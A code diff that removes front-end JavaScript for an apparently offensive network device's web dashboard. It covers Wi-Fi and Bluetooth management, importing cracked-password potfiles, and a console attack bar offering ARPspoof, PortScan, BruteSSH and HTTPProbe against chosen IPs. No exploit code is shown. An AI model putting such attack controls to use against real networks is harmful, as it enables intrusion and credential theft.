r = await fetch('/trust_bluetooth', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ address }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast(`${name} is now trusted`, 'success'); - } else { - toast(j.message || 'Trust failed', 'error'); - } - - scanBt(); - } catch (e) { - console.error('trust', e); - toast('Trust error', 'error'); - } - } - - async function doConnect(address, name) { - try { - toast(`Connecting to ${name}...`, 'info'); - - const r = await fetch('/connect_bluetooth', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ address }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast(`Connected to ${name}`, 'success'); - } else { - toast(j.message || 'Connection failed', 'error'); - } - - scanBt(); - } catch (e) { - console.error('connect', e); - toast('Connection error', 'error'); - } - } - - async function doDisconnect(address, name) { - try { - const r = await fetch('/disconnect_bluetooth', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ address }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast(`Disconnected from ${name}`, 'success'); - } else { - toast(j.message || 'Disconnect failed', 'error'); - } - - scanBt(); - } catch (e) { - console.error('disconnect', e); - toast('Disconnect error', 'error'); - } - } - - async function doForget(address, name) { - if (!confirm(`Forget ${name}?`)) return; - - try { - const r = await fetch('/forget_bluetooth', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ address }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast(`${name} forgotten`, 'success'); - } else { - toast(j.message || 'Forget failed', 'error'); - } - - scanBt(); - } catch (e) { - console.error('forget', e); - toast('Forget error', 'error'); - } - } - - // Auto-scan functionality - function toggleWifiAutoScan() { - wifiState.autoScan = !wifiState.autoScan; - const toggle = $('#wifiAutoScan'); - const status = $('#wifiAutoScanStatus'); - - if (wifiState.autoScan) { - toggle.classList.add('active'); - status.textContent = 'ON'; - - // Start auto-scanning every 30 seconds - wifiState.autoScanInterval = setInterval(() => { - if (wifiState.enabled) scanWifi(); - }, 30000); - - toast('Wi-Fi auto-scan enabled (30s)', 'success'); - scanWifi(); // Initial scan - } else { - toggle.classList.remove('active'); - status.textContent = 'OFF'; - - if (wifiState.autoScanInterval) { - clearInterval(wifiState.autoScanInterval); - wifiState.autoScanInterval = null; - } - - toast('Wi-Fi auto-scan disabled', 'info'); - } - } - - function toggleBtAutoScan() { - btState.autoScan = !btState.autoScan; - const toggle = $('#btAutoScan'); - const status = $('#btAutoScanStatus'); - - if (btState.autoScan) { - toggle.classList.add('active'); - status.textContent = 'ON'; - - // Start auto-scanning every 30 seconds - btState.autoScanInterval = setInterval(() => { - if (btState.enabled) scanBt(); - }, 30000); - - toast('Bluetooth auto-scan enabled (30s)', 'success'); - scanBt(); // Initial scan - } else { - toggle.classList.remove('active'); - status.textContent = 'OFF'; - - if (btState.autoScanInterval) { - clearInterval(btState.autoScanInterval); - btState.autoScanInterval = null; - } - - toast('Bluetooth auto-scan disabled', 'info'); - } - } - - // Known Wi-Fi management dialog - async function openKnownWifi() { - try { - const r = await fetch('/get_known_wifi', { cache: 'no-store' }); - const j = await r.json(); - - const dialog = el('div', { class: 'modal-enhanced', style: 'max-width: 600px;' }); - - const rows = (j.known_networks || []) - .sort((a, b) => (b.priority || 0) - (a.priority || 0)) - .map(k => ` - - ${k.ssid} - - - - - - - - - `).join(''); - - dialog.innerHTML = ` -

                Saved Wi-Fi Networks

                -
                - - - - - - - - - ${rows || ''} -
                SSIDPriorityActions
                No saved networks
                -
                -
                - - -
                - `; - - const backdrop = $('#sysDialogBackdrop') || el('div',{class:'modal-backdrop',id:'sysDialogBackdrop'}); - backdrop.innerHTML = ''; - backdrop.appendChild(dialog); - backdrop.style.display = 'flex'; - document.body.appendChild(backdrop); - - // Event handlers - dialog.querySelector('#btnImportPot')?.addEventListener('click', async () => { - try { - const r = await fetch('/import_potfiles', { method: 'POST' }); - const j = await r.json(); - toast(j.message || 'Potfiles imported', j.status === 'success' ? 'success' : 'error'); - if (j.status === 'success') { - backdrop.style.display = 'none'; - openKnownWifi(); // Refresh - } - } catch (e) { - toast('Import failed', 'error'); - } - }); - - dialog.querySelectorAll('[data-act="connect"]').forEach(b => { - b.addEventListener('click', async () => { - const ssid = b.dataset.ssid; - const r = await fetch('/connect_known_wifi', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ ssid }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast(`Connected to ${ssid}`, 'success'); - backdrop.style.display = 'none'; - scanWifi(); - } else { - toast(j.message || 'Connection failed', 'error'); - } - }); - }); - - dialog.querySelectorAll('[data-act="save"]').forEach(b => { - b.addEventListener('click', async () => { - const ssid = b.dataset.ssid; - const input = dialog.querySelector(`input[data-ssid="${CSS.escape(ssid)}"]`); - const priority = parseInt(input.value, 10) || 0; - - const r = await fetch('/update_wifi_priority', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ ssid, priority }) - }); - const j = await r.json(); - - toast(j.message || 'Priority updated', j.status === 'success' ? 'success' : 'error'); - }); - }); - - dialog.querySelectorAll('[data-act="del"]').forEach(b => { - b.addEventListener('click', async () => { - const ssid = b.dataset.ssid; - if (!confirm(`Delete "${ssid}"?`)) return; - - const r = await fetch('/delete_known_wifi', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ ssid }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast('Network deleted', 'success'); - backdrop.style.display = 'none'; - openKnownWifi(); // Refresh - } else { - toast(j.message || 'Delete failed', 'error'); - } - }); - }); - - dialog.querySelector('[data-cancel]')?.addEventListener('click', () => { - backdrop.style.display = 'none'; - }); - - } catch (e) { - console.error('known_wifi', e); - toast('Error loading saved networks', 'error'); - } - } - - // Wire up switches and buttons - wifiSwitch?.addEventListener('click', () => { - wifiSwitch.classList.toggle('on'); - wifiState.enabled = wifiSwitch.classList.contains('on'); - - if (!wifiState.enabled) { - wifiState.current = null; - wifiList.innerHTML = '
                Wi-Fi is disabled
                '; - - // Stop auto-scan if running - if (wifiState.autoScan) { - toggleWifiAutoScan(); - } - } else { - scanWifi(); - } - }); - - btSwitch?.addEventListener('click', () => { - btSwitch.classList.toggle('on'); - btState.enabled = btSwitch.classList.contains('on'); - - if (!btState.enabled) { - btList.innerHTML = '
                Bluetooth is disabled
                '; - - // Stop auto-scan if running - if (btState.autoScan) { - toggleBtAutoScan(); - } - } else { - scanBt(); - } - }); - - // Action buttons - $('#wifiScan')?.addEventListener('click', scanWifi); - $('#wifiKnown')?.addEventListener('click', openKnownWifi); - $('#wifiPot')?.addEventListener('click', async () => { - try { - const r = await fetch('/import_potfiles', { method: 'POST' }); - const j = await r.json(); - toast(j.message || 'Potfiles imported', j.status === 'success' ? 'success' : 'error'); - if (j.status === 'success') scanWifi(); - } catch (e) { - toast('Import failed', 'error'); - } - }); - - $('#wifiUp')?.addEventListener('click', () => wifiPriorityUpDown(+1)); - $('#wifiDown')?.addEventListener('click', () => wifiPriorityUpDown(-1)); - $('#wifiAutoScan')?.addEventListener('click', toggleWifiAutoScan); - - $('#btScan')?.addEventListener('click', scanBt); - $('#btAutoScan')?.addEventListener('click', toggleBtAutoScan); - - // Quickpanel mechanics with smooth animations - let qpOpen = false; - let qpStartY = 0; - let qpDragY = 0; - -function qpShow(show) { - qpOpen = !!show; - - // Nettoyer tout style inline avant de changer les classes - qp.style.transform = ''; - qp.style.transition = ''; - - // Toggle la classe avec un petit délai pour assurer la transition - requestAnimationFrame(() => { - qp.classList.toggle('open', show); - - if (show && !qp.dataset.initialized) { - qp.dataset.initialized = 'true'; - setTimeout(() => { - if (wifiState.enabled) scanWifi(); - if (btState.enabled) scanBt(); - }, 300); - } - }); -} -window.Bjorn = window.Bjorn || {}; -window.Bjorn.qpShow = qpShow; - - - // Touch and mouse drag handling -const qpHandle = $('#qpHandle'); - -function qpRatio(){ - const h = qp.getBoundingClientRect().height || (window.innerHeight * 0.85); - return h / window.innerHeight; -} - -const drag = { - onStart(y) { - qp.style.transition = 'none'; - qpStartY = y; - const rect = qp.getBoundingClientRect(); - qpDragY = rect.top; - }, - onMove(y) { - const dy = y - qpStartY; - const r = qpRatio(); - const limitTop = -window.innerHeight * r; - const newY = Math.max(limitTop, Math.min(0, qpDragY + dy)); - qp.style.transform = `translateY(${newY * -1}px)`; - }, - onEnd(y) { - // IMPORTANT: Toujours nettoyer le transform à la fin - qp.style.transition = ''; - qp.style.transform = ''; // ← Réinitialise le transform - - const dy = y - qpStartY; - const threshold = 50; // pixels de seuil pour déclencher l'ouverture/fermeture - - if (qpOpen) { - // Si ouvert, fermer seulement si drag vers le haut > threshold - qpShow(dy > -threshold); - } else { - // Si fermé, ouvrir seulement si drag vers le bas > threshold - qpShow(dy > threshold); - } - } -}; - - - qpHandle?.addEventListener('touchstart', e => drag.onStart(e.touches[0].clientY), { passive: true }); - qpHandle?.addEventListener('touchmove', e => drag.onMove(e.touches[0].clientY), { passive: true }); - qpHandle?.addEventListener('touchend', e => drag.onEnd(e.changedTouches[0].clientY)); - - qpHandle?.addEventListener('mousedown', e => { - drag.onStart(e.clientY); - const mm = ev => drag.onMove(ev.clientY); - const mu = ev => { - drag.onEnd(ev.clientY); - window.removeEventListener('mousemove', mm); - window.removeEventListener('mouseup', mu); - }; - window.addEventListener('mousemove', mm); - window.addEventListener('mouseup', mu); - }); - - // Open quickpanel button -$('#openQuick')?.addEventListener('click', () => { - console.debug('[Quickpanel] openQuick clicked'); - qpShow(true); -}); - // Raccourcis clavier (ESC, Ctrl+` console, Ctrl+\ quickpanel) -document.addEventListener('keydown', (e) => { - // ESC -> ferme tout ce qui doit l'être - if (e.key === 'Escape') { - try { closeSettings?.(); } catch {} - try { qpShow(false); } catch {} - try { closeConsole?.(); } catch {} - try { - launcher?.classList?.remove('show'); - launcher?.setAttribute?.('aria-hidden','true'); - document.getElementById('actionsMenu')?.classList?.remove('show'); - } catch {} - } - - // Raccourci Console - const kc = (window.cfg && window.cfg.shortcuts && window.cfg.shortcuts.console) || { ctrl:true, key:'`' }; - if (kc.ctrl && e.ctrlKey && e.key === kc.key) { - e.preventDefault(); - try { openConsole?.(); } catch {} - } - - // Raccourci Quickpanel - const kq = (window.cfg && window.cfg.shortcuts && window.cfg.shortcuts.quickpanel) || { ctrl:true, key:'\\' }; - if (kq.ctrl && e.ctrlKey && e.key === kq.key) { - e.preventDefault(); - try { qpShow(!qpOpen); } catch {} - } -}); - -})(); - - -})(); - - - - - // ===== Toasts container - let toastBox = $('#toasts'); if(!toastBox){ toastBox = el('div',{class:'toasts',id:'toasts'}); document.body.appendChild(toastBox); } - const _innerToast=(html,ms=2600)=>{ const t=el('div',{class:'toast'}); t.innerHTML=html; toastBox.appendChild(t); setTimeout(()=>{ t.style.transition='transform .2s ease, opacity .2s'; t.style.transform='translateY(10px)'; t.style.opacity='0'; setTimeout(()=>t.remove(),220); }, ms); }; - // bridge: make a generic global toast and ensure Bjorn.toast points to it - window.Bjorn = window.Bjorn || {}; - if (!window.Bjorn.toast) window.Bjorn.toast = _innerToast; - if (!window.toast) window.toast = (msg, ms=2600) => window.Bjorn.toast(msg, ms); - - // ===== Console -// ===== Console -let consoleEl = $('#console'); -if(!consoleEl){ - consoleEl = el('section',{class:'console',id:'console'},[ - el('div',{class:'console-resize',id:'consoleResize',title:'Resize'}), - (function(){ - const bar = el('div',{class:'attackbar',id:'attackBar'}); - bar.append( - el('select',{id:'selIP'},[ - el('option',{},'192.168.1.10'), - el('option',{},'192.168.1.75'), - el('option',{},'10.0.0.42') - ]), - el('select',{id:'selPort'},[ - el('option',{},'Auto'), - el('option',{},'22'), - el('option',{},'80'), - el('option',{},'443'), - el('option',{},'8080') - ]), - el('select',{id:'selAction'},[ - el('option',{},'ARPspoof'), - el('option',{},'PortScan'), - el('option',{},'BruteSSH'), - el('option',{},'HTTPProbe') - ]), - el('button',{class:'btn',id:'btnScan'},'Scanning'), - el('button',{class:'btn',id:'btnAttack'},'Attack') - ); - return bar; - })(), - - el('div',{class:'console-head'},[ - el('span',{id:'modePill', class:'pill mode-pill manual', title:'Current mode'},[ - el('span',{class:'dot'}), 'Manual' - ]), - - - // Bulle d’état - - - // Boutons existants - el('button',{class:'btn',id:'modeToggle','aria-pressed':'true'},'Auto'), - el('button',{class:'btn',id:'attackToggle'},'Attack ▾'), - el('button',{class:'btn',id:'clearLogs'},'Clear'), - el('button',{class:'btn',id:'closeConsole'},'X'), - // Slider de police - el('div',{id:'consoleFontRow', class:'console-fontrow'},[ - el('label',{'for':'consoleFont',class:'sr-only'},'Console font size'), - el('input',{ - id:'consoleFont', type:'range', min:'2', max:'24', step:'1', - value:'11', title:'Console font', - 'aria-label':'Console font size' - }) - ]), - ]), - - // SSE writes directly into #logout - el('div',{class:'console-body',id:'logout'}) - ]); - document.body.appendChild(consoleEl); -} - - - - -// ---- Chip Edit Sheet (reuses .sheet / .sheet-backdrop from global.css) -(function(){ - if (window.ChipsEditor) return; - - const html = ` -
                -
                -
                - Edit value - - -
                -
                - -
                -
                - - -
                -
                -
                `; - const wrap = document.createElement('div'); - wrap.innerHTML = html; - document.body.appendChild(wrap.firstElementChild); - - const backdrop = document.getElementById('chipEditBackdrop'); - const title = document.getElementById('chipEditTitle'); - const label = document.getElementById('chipEditLabel'); - const input = document.getElementById('chipEditInput'); - const ta = document.getElementById('chipEditTextarea'); - const btnSave = document.getElementById('chipEditSave'); - const btnCancel= document.getElementById('chipEditCancel'); - const btnClose = document.getElementById('chipEditClose'); - - let resolver = null; - function show(){ backdrop.classList.add('show'); requestAnimationFrame(()=> (input.offsetParent ? input : ta).focus()); } - function hide(){ backdrop.classList.remove('show'); resolver = null; } - - function currentValue(){ - return (input.offsetParent ? input.value : ta.value).trim(); - } - - function resolve(val){ if (resolver){ resolver(val); hide(); } } - function save(){ resolve(currentValue()); } - function cancel(){ resolve(null); } - - btnSave.addEventListener('click', save); - btnCancel.addEventListener('click', cancel); - btnClose.addEventListener('click', cancel); - backdrop.addEventListener('click', (e)=>{ if (e.target === backdrop) cancel(); }); - document.addEventListener('keydown', (e)=>{ - if (!backdrop.classList.contains('show')) return; - if (e.key === 'Escape') { e.preventDefault(); cancel(); } - if (e.key === 'Enter' && e.target.closest('#chipEditBackdrop') && e.target.id !== 'chipEditTextarea') { - // Enter confirms (except in textarea) - e.preventDefault(); save(); - } - }); - - // Public API - window.ChipsEditor = { - /** - * Open editor and resolve with string or null (cancel). - * @param {Object} opts - * - value : initial text - * - title : modal title - * - label : field label - * - placeholder : placeholder text - * - multiline : use textarea - * - maxLength : optional maxlength - * - confirmLabel : Save button text - */ - open(opts={}){ - const { value='', title:ttl='Edit value', label:lab='Value', placeholder='', multiline=false, maxLength, confirmLabel='Save' } = opts; - title.textContent = ttl; - label.textContent = lab; - btnSave.textContent = confirmLabel; - if (multiline) { - ta.style.display = ''; - input.style.display = 'none'; - ta.value = value; - ta.placeholder = placeholder; - ta.removeAttribute('maxlength'); - if (maxLength) ta.setAttribute('maxlength', String(maxLength)); - } else { - input.style.display = ''; - ta.style.display = 'none'; - input.value = value; - input.placeholder = placeholder; - input.removeAttribute('maxlength'); - if (maxLength) input.setAttribute('maxlength', String(maxLength)); - } - show(); - return new Promise(res => { resolver = res; }); - } - }; -})(); - - -// ===== Settings modal (tabs) — unchanged visually -let backdrop = $('#settingsBackdrop'); -if(!backdrop){ - backdrop = el('div',{class:'modal-backdrop',id:'settingsBackdrop','aria-hidden':'true'},[ - el('div',{class:'modal',role:'dialog','aria-modal':'true','aria-label':'Settings'},[ - (function(){ const nav = el('nav',{class:'tabs',id:'settingsTabs'}); nav.append( - el('button',{class:'tabbtn active','data-tab':'general'},'General'), - el('button',{class:'tabbtn','data-tab':'theme'},'Theme') ); return nav; })(), - el('section',{class:'tabpanel',id:'tab-general'},[ - el('h3',{},'General'), - el('div',{class:'row'},[el('label',{},'Notifications'), el('div',{class:'switch',id:'switchNotifs'})]), - ]), - el('section',{class:'tabpanel',id:'tab-theme',hidden:''},[ - el('h3',{},'Theme'), - el('div',{class:'row'},[ - el('button',{class:'btn','data-theme':'acid'},'Acid'), - el('button',{class:'btn','data-theme':'cyan'},'Cyan'), - el('button',{class:'btn','data-theme':'amber'},'Amber') - ]) - ]), - - ]) - ]); - document.body.appendChild(backdrop); -} - -/* ========= Bjorn.SettingsConfig — mount generateConfigForm into Settings ========= */ -(function () { - const $ = (s, r=document) => r.querySelector(s); - const $$ = (s, r=document) => Array.from(r.querySelectorAll(s)); - - // -------- Generic Chips system with in-app editor -------- - if (!window.Chips) { - const makeChip = (text) => { - const b = document.createElement('div'); - b.className = 'chip'; - b.innerHTML = `${text}`; - return b; - }; - - // Add via Enter or comma (,) - document.addEventListener('keydown', (e)=>{ - const inp = e.target; - if (!(inp instanceof HTMLInputElement)) return; - const host = inp.closest('.chips-input'); - if (!host) return; - - if (e.key === 'Enter' || e.key === ',') { - e.preventDefault(); - const raw = inp.value.trim().replace(/,$/,''); - if (!raw) return; - const values = raw.split(',').map(v=>v.trim()).filter(Boolean); - const list = host.parentElement.querySelector('.chips, .chip-list') || host.parentElement; - const existing = new Set(Array.from(list.querySelectorAll('.chip span')).map(s=>s.textContent)); - - values.forEach(v=>{ - if (existing.has(v)) { toast(`"${v}" already exists`); return; } - list.insertBefore(makeChip(v), host); - }); - inp.value = ''; - } - }); - - // Remove chip - document.addEventListener('click',(e)=>{ - const btn = e.target.closest('.chip-close'); - if (btn) btn.closest('.chip')?.remove(); - }); - - // Edit chip (using ChipsEditor) - document.addEventListener('click', async (e)=>{ - const chip = e.target.closest('.chip'); - if (!chip || e.target.closest('.chip-close')) return; - - const span = chip.querySelector('span'); - const cur = span.textContent; - const list = chip.parentElement; // .chips/.chip-list - const isSingle = !!chip.closest('.chip-field'); - - const neu = await window.ChipsEditor.open({ - value: cur, - title: 'Edit value', - label: 'Value', - placeholder: 'Type a value…', - multiline: false - }); - if (neu === null) return; // cancelled - const val = neu.trim(); - if (!val) { chip.remove(); return; } // empty => remove - - // dedupe in same container - const exists = Array.from(list.querySelectorAll('.chip span')) - .some(s => s !== span && s.textContent === val); - if (exists) { toast(`"${val}" already exists`); return; } - - span.textContent = val; - - if (isSingle) { - Array.from(list.querySelectorAll('.chip')) - .filter(c => c !== chip).forEach(c => c.remove()); - } - }); - - // Single-value: Enter replaces existing chip - document.addEventListener('keydown',(e)=>{ - const inp = e.target; - if (!(inp instanceof HTMLInputElement)) return; - const field = inp.closest('.chip-field'); - if (!field || e.key !== 'Enter') return; - e.preventDefault(); - const v = inp.value.trim(); - if(!v) return; - const list = field.querySelector('.chip-list') || field; - const old = list.querySelector('.chip'); - if (old) old.remove(); - list.appendChild(makeChip(v)); - inp.value = ''; - }); - - window.Chips = { - values: (root) => Array.from(root.querySelectorAll('.chip span')).map(s=>s.textContent), - setValues: (root, arr=[]) => { - Array.from(root.querySelectorAll('.chip')).forEach(c=>c.remove()); - const list = root.querySelector('.chips, .chip-list') || root; - arr.forEach(v=>list.appendChild(makeChip(v))); - } - }; - } - - // 1) Insert “Config” tab if missing - const tabs = $('#settingsTabs'); - const modal = $('#settingsBackdrop .modal'); - if (tabs && !tabs.querySelector('[data-tab="config"]')) { - const btn = document.createElement('button'); - btn.className = 'tabbtn'; - btn.dataset.tab = 'config'; - btn.textContent = 'Config'; - const aboutBtn = tabs.querySelector('[data-tab="about"]'); - tabs.insertBefore(btn, aboutBtn || null); - - const panel = document.createElement('section'); - panel.className = 'tabpanel'; - panel.id = 'tab-config'; - panel.hidden = true; - panel.innerHTML = ` -
                - - - -
                -
                - `; - modal?.appendChild(panel); - } - - // 2) API + helpers - const SEL = { - host: '#configFormHost', - save: '#cfgSave', - restore: '#cfgRestore', - reload: '#cfgReload', - tabs: '#settingsTabs', - }; - const API = { - load: '/load_config', - save: '/save_config', - restore: '/restore_default_config' - }; - const _el = (tag, attrs={}, children=[]) => { - const n = document.createElement(tag); - for (const [k,v] of Object.entries(attrs)) { - if (k==='class') n.className = v; - else if (k==='style' && typeof v==='object') Object.assign(n.style, v); - else if (k==='style') n.style.cssText = v; - else n.setAttribute(k, v); - } - (Array.isArray(children)?children:[children]).filter(Boolean).forEach(c=>{ - n.append(c.nodeType?c:document.createTextNode(c)); - }); - return n; - }; - - // 3) UI builders (generalized) - function createCard(title) { - const card = _el('div', { class: 'card' }); - const header = _el('div', { class: 'card-header' }); - header.innerHTML = `

                ${String(title).replace('__title_','').replace('__','')}

                `; - card.append(header, _el('div', { style: 'height:8px' })); - return card; - } - - function createSwitchItem(key, value){ - const wrap = _el('div', { class: 'row-toggle' }); - wrap.innerHTML = ` - - `; - return wrap; - } -// 1) Presets by key (exact) + by pattern (regex) -// --- Constraints by key (min/max/step) --- -// 1) ranges (unchanged) -const RANGES = { - // delays & timings - web_delay: { min: 0, max: 10000, step: 1 }, - screen_delay: { min: 0, max: 10, step: 0.1 }, - startup_delay: { min: 0, max: 600, step: 0.1 }, - startup_splash_duration: { min: 0, max: 60, step: 0.1 }, - fullrefresh_delay: { min: 0, max: 3600, step: 1 }, - image_display_delaymin: { min: 0, max: 600, step: 0.1 }, - image_display_delaymax: { min: 0, max: 600, step: 0.1 }, - comment_delaymin: { min: 0, max: 600, step: 0.1 }, - comment_delaymax: { min: 0, max: 600, step: 0.1 }, - shared_update_interval: { min: 1, max: 86400, step: 1 }, - livestatus_delay: { min: 0, max: 600, step: 0.1 }, - - // sizes / ports - ref_width: { min: 32, max: 1024, step: 1 }, - ref_height: { min: 32, max: 1024, step: 1 }, - vuln_max_ports: { min: 1, max: 65535, step: 1 }, - portstart: { min: 0, max: 65535, step: 1 }, - portend: { min: 0, max: 65535, step: 1 }, - - // timelines - frise_default_x: { min: 0, max: 2000, step: 1 }, - frise_default_y: { min: 0, max: 2000, step: 1 }, - frise_epd2in7_x: { min: 0, max: 2000, step: 1 }, - frise_epd2in7_y: { min: 0, max: 2000, step: 1 }, - - // misc - semaphore_slots: { min: 1, max: 128, step: 1 }, - line_spacing: { min: 0, max: 10, step: 0.1 }, - vuln_update_interval: { min: 1, max: 86400, step: 1 } -}; - -// fallback -const DEFAULT_RANGE = { min: 0, max: 100, step: 1 }; - -// 2) simple resolution (known key → range; else friendly fallback) -function getRangeForKey(key, value){ - if (RANGES[key]) return RANGES[key]; - - const v = Number(value); - if (Number.isFinite(v)){ - if (v <= 10) return { min: 0, max: 10, step: 1 }; - if (v <= 100) return { min: 0, max: 100, step: 1 }; - if (v <= 1000) return { min: 0, max: 1000, step: 1 }; - return { min: 0, max: Math.ceil(v * 2), step: Math.max(1, Math.round(v/100)) }; - } - return DEFAULT_RANGE; -} - -// 3) component: text (accepts comma) + slider (bounded) -function createNumberInputWithButtons(key, value) { - const r = getRangeForKey(key, value); - const id = key; - - const c = _el('div', { class: 'form-field' }); - c.innerHTML = ` - -
                - -
                - - - - -
                -
                - `; - - const wrap = c.querySelector('.input-number-w-slider'); - const range = wrap.querySelector('input[type="range"]'); - const num = wrap.querySelector('input[type="text"]'); - - const step = +wrap.dataset.step || 1; - const min = +wrap.dataset.min; - const max = +wrap.dataset.max; - - const clamp = (v)=> Math.min(max, Math.max(min, v)); - const parseNum = (raw) => { - const s = String(raw ?? '').trim().replace(',', '.'); - if (s === '' || s === '-' || s === '.' || s === '-.') return NaN; - const n = parseFloat(s); - return Number.isFinite(n) ? n : NaN; - }; - const fmt = (n) => String(n).replace('.', ','); // FR display - - const paint = () => { - const p = ((+range.value - min) * 100) / (max - min || 1); - wrap.style.setProperty('--_fill', `${p}%`); - }; - - // init values - (function init(){ - const v = parseNum(value); - const cl = Number.isFinite(v) ? clamp(v) : min; - num.value = Number.isFinite(v) ? fmt(v) : fmt(cl); - range.value = cl; - paint(); - })(); - - // soft filter: digits, comma, dot, minus - num.addEventListener('beforeinput', (e) => { - if (!e.data) return; - if (!/[\d.,\-]/.test(e.data)) e.preventDefault(); - }); - - // input → update slider (clamped) but keep raw value (may overflow) - const emit = (rawVal, clampedVal) => { - wrap.dispatchEvent(new CustomEvent('valuechange', { - detail: { value: rawVal, clamped: clampedVal } - })); - }; - - const syncFromInput = () => { - const v = parseNum(num.value); - const cl = Number.isFinite(v) ? clamp(v) : clamp(0); - range.value = cl; - paint(); - emit(v, cl); - }; - - num.addEventListener('input', syncFromInput); - num.addEventListener('change', () => { - const v = parseNum(num.value); - if (Number.isFinite(v)) num.value = fmt(v); // normalize 0,3 etc. - syncFromInput(); - }); - - // slider → update field (always bounded) - range.addEventListener('input', () => { - num.value = fmt(parseFloat(range.value)); - paint(); - emit(parseNum(num.value), +range.value); - }); - - // +/- buttons (press & hold) — act on raw value - const incBtn = wrap.querySelector('[data-act="inc"]'); - const decBtn = wrap.querySelector('[data-act="dec"]'); - - const nudge = (dir) => { - const v = parseNum(num.value); - const base = Number.isFinite(v) ? v : +range.value; - const nextRaw = +(base + dir * step).toFixed(10); // avoid float artifacts - const nextCl = clamp(nextRaw); - num.value = fmt(nextRaw); // can exceed max - range.value = nextCl; - paint(); - emit(nextRaw, nextCl); - }; - - const hold = (btn, dir) => { - let t; const go = () => nudge(dir); - const down = (e) => { e.preventDefault(); go(); t = setInterval(go, 100); }; - const up = () => clearInterval(t); - btn.addEventListener('mousedown', down); - btn.addEventListener('touchstart', down, { passive: false }); - ['mouseup','mouseleave','touchend','touchcancel'].forEach(ev => btn.addEventListener(ev, up)); - }; - hold(incBtn, +1); - hold(decBtn, -1); - - return c; -} - - - // Single-value chips field - function createSingleValueField(key, value) { - const c = _el('div', { class: 'chip-field' }); - c.innerHTML = ` - -
                ${(value??'')!=='' ? `
                ${value}
                ` : ''}
                -
                `; - return c; - } - - // Multi-values chips list - function createListInput(key, values) { - const c = _el('div', { class: 'form-list' }); - c.innerHTML = ` - -
                - ${(values||[]).map(v=>`
                ${v}
                `).join('')} -
                -
                -
                - -
                `; - c.querySelector('[data-clear]')?.addEventListener('click', ()=>{ - $$('.chip', c).forEach(n=>n.remove()); - }); - return c; - } - - // 4) render - function render(cfg) { - const host = $(SEL.host); if (!host) return; - host.innerHTML = ''; - - // Toggles card - const togglesCard = createCard('Toggles'); - const togglesGrid = _el('div', { class: 'grid-auto-260' }); - // Other cards - const cardsWrap = _el('div', { class: 'grid-auto-320' }); - let currentCard = null; - - for (const [key, value] of Object.entries(cfg)) { - if (key.startsWith('__title_')) { - if (currentCard) cardsWrap.appendChild(currentCard); - currentCard = createCard(value); - continue; - } - if (typeof value === 'boolean') { - togglesGrid.appendChild(createSwitchItem(key, value)); - } else if (Array.isArray(value)) { - currentCard && currentCard.appendChild(createListInput(key, value)); - } else if (typeof value === 'number') { - currentCard && currentCard.appendChild(createNumberInputWithButtons(key, value)); - } else { - currentCard && currentCard.appendChild(createSingleValueField(key, value)); - } - } - if (currentCard) cardsWrap.appendChild(currentCard); - - togglesCard.appendChild(togglesGrid); - host.appendChild(togglesCard); - host.appendChild(cardsWrap); - } - - // 5) collect & persist (aligned with new classes) - function collect() { - const root = $(SEL.host); - const data = {}; - // toggles - $$('.row-toggle input[type="checkbox"]', root).forEach(cb => data[cb.id] = cb.checked); - // multi lists - $$('.form-list', root).forEach(cont => { - const key = cont.querySelector('label')?.textContent?.trim(); - if (!key) return; - data[key] = Chips.values(cont); - }); - // single value - $$('.chip-field', root).forEach(cont => { - const key = cont.querySelector('label')?.textContent?.trim(); - if (!key) return; - const vals = Chips.values(cont); - if (vals[0] !== undefined) data[key] = vals[0]; - }); - // numbers - $$('.form-field input[type="number"]', root).forEach(inp => { - data[inp.id] = parseFloat(inp.value); - }); - return data; - } - - async function load() { - try{ - const r = await fetch(API.load, { cache: 'no-store' }); - const j = await r.json(); - render(j); - Bjorn?.setupNumberWithSlider?.(document); - - }catch(e){ - console.error('SettingsConfig.load', e); - toast('Error loading config'); - } - } - async function save() { - try{ - const payload = collect(); - const r = await fetch(API.save, { method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify(payload) }); - await r.json(); - toast('Configuration saved'); - }catch(e){ - console.error('SettingsConfig.save', e); - toast('Error saving configuration'); - } - } - async function restore() { - try{ - const r = await fetch(API.restore); - const j = await r.json(); - render(j); - Bjorn?.setupNumberWithSlider?.(document); - - toast('Defaults restored'); - }catch(e){ - console.error('SettingsConfig.restore', e); - toast('Error restoring defaults'); - } - } - - // 6) Wiring - $('#cfgSave')?.addEventListener('click', save); - $('#cfgRestore')?.addEventListener('click', restore); - $('#cfgReload')?.addEventListener('click', load); - - $('#settingsTabs')?.addEventListener('click', (e)=>{ - const b = e.target.closest('.tabbtn'); if(!b) return; - if (b.dataset.tab === 'config') setTimeout(load, 0); - }); - const openBtn = $('#openSettings'); - openBtn?.addEventListener('click', ()=>{ - const btn = $('#settingsTabs .tabbtn.active'); - const isConfig = btn && btn.dataset.tab === 'config'; - if (isConfig) setTimeout(load, 0); - }); - - // Expose - window.Bjorn = window.Bjorn || {}; - window.Bjorn.SettingsConfig = { load, save, restore, render }; -})(); - - - // ===== Sidebar buttons - const sidebar = $('#sidebar'); - $('#toggleSidebar')?.addEventListener('click',()=> sidebar?.classList.toggle('hidden')); - $('#hideSidebar')?.addEventListener('click',()=> sidebar?.classList.add('hidden')); - - // ===== Console behavior - const logBadge = $('#logBadge'); - const toggleConsoleBtn = $('#bottombar'); - const attackBar = $('#attackBar'); - const attackToggle = $('#attackToggle'); - const modeToggle = $('#modeToggle'); - let unread = 0; - - const openConsole = ()=>{ - consoleEl.classList.add('open'); - unread = 0; - if (logBadge) logBadge.hidden = true; - - // align Attack panel with current mode - (async () => { - try { - const t = await fetch('/check_manual_mode').then(r=>r.text()); - const isManual = (t === 'True'); - window.BjornUI?.ManualMode?.showAttack?.(isManual); 